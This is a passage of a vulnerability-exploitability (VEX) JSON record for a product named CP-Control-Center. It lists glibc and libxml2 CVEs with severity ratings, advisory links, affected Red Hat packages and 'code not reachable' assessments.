"https://inbox.sourceware.org/libc-announce/7a655d55-276f-41fe-b550-feb3ebb2ce91@redhat.com/T/#u" }, { "url": "https://linux.oracle.com/cve/CVE-2026-6238.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-500140.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6238" }, { "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34069" }, { "url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0012" }, { "url": "https://ubuntu.com/security/notices/USN-8611-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-6238" } ], "published": "2026-04-28T19:37:47+00:00", "updated": "2026-07-14T13:19:09+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-6653", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 9.8, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "nvd" }, "score": 9.8, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 416, 611 ], "description": "Use After Free in libxml2's xmlParseInternalSubset from GNOME libxml2 version 2.9.11 to 2.11.0 allows a remote attacker to cause a denial-of-service via maliciously crafted XML input with improper entity resolution handling.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-6653" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61247" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-6653" }, { "url": "https://bugs.launchpad.net/ubuntu/+source/libxml2/+bug/2141260" }, { "url": "https://bugzilla.redhat.com/2491354" }, { "url": "https://bugzilla.redhat.com/2494191" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491354" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494191" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11979" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6653" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-61247.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:61247" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/work_items/1058" }, { "url": "https://linux.oracle.com/cve/CVE-2026-6653.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61247-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6653" }, { "url": "https://ubuntu.com/security/notices/USN-8456-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-6653" } ], "published": "2026-06-22T14:17:51+00:00", "updated": "2026-07-14T16:00:16+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-6732", "ratings": [ { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 843 ], "description": "A flaw was found in libxml2. This vulnerability occurs when the library processes a specially crafted XML Schema Definition (XSD) validated document that includes an internal entity reference. An attacker could exploit this by providing a malicious document, leading to a type confusion error that causes the application to crash. This results in a denial of service (DoS), making the affected system or application unavailable.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-6732" }, { "url": "https://access.redhat.com/errata/RHSA-2026:11503" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-6732" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461300" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/1097" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/merge_requests/411" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6732" }, { "url": "https://ubuntu.com/security/notices/USN-8460-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-6732" } ], "published": "2026-04-23T23:16:16+00:00", "updated": "2026-08-31T12:17:56+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } } ] }